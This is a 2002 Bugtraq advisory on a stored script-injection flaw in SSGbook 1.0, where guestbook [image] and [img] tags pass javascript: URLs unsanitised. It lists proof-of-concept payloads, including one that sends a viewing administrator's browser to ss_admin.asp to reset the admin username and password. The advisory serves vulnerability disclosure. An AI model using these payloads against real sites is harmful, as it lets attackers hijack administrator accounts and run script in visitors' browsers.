SSGBook Image Tag HTML Injection Vulnerabilities

Bugtraq ID:	5915
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 08 2002 12:00AM
Updated:	Oct 08 2002 12:00AM
Credit:	Discovery of this issue is credited to "Frog Man" <[email protected]>.
Vulnerable:	Script-Shed SSGbook 1.0
Not Vulnerable:

SSGBook Image Tag HTML Injection Vulnerabilities

SSGbook includes codes for allowing users to specify HTML formatting and layout inside of guestbook entries. For example, a user can include an image by including it inside of [image] or [img] tags. However, arbitrary HTML and script code are not sufficiently sanitized within these tags.

As a result, users may include malicious HTML and script code inside of guestbook entries. The attacker-supplied code will be rendered in the web client of a user who views a malicious guestbook entry.

SSGBook Image Tag HTML Injection Vulnerabilities

The following examples were provided by "Frog Man" <[email protected]>:

[image]javascript:{SCRIPT}[/image]

[img=right]javascript:{SCRIPT}[/img=right]

[image=right]javascript:{SCRIPT}[/image=right]

[img=left]javascript:{SCRIPT}[/img=left]

[image=left]javascript:{SCRIPT}[/image=left]

[img]javascript:{SCRIPT}[/img]

[image]javascript:document.location="ss_admin.asp?Mode=Update&Acton=Access&UserName=Pom&Password=turlututu";[/image]

SSGBook Image Tag HTML Injection Vulnerabilities

References:

• Script-Shed Homepage (Script-Shed)
  
• Re: SSGbook (ASP) (Terry Bankert )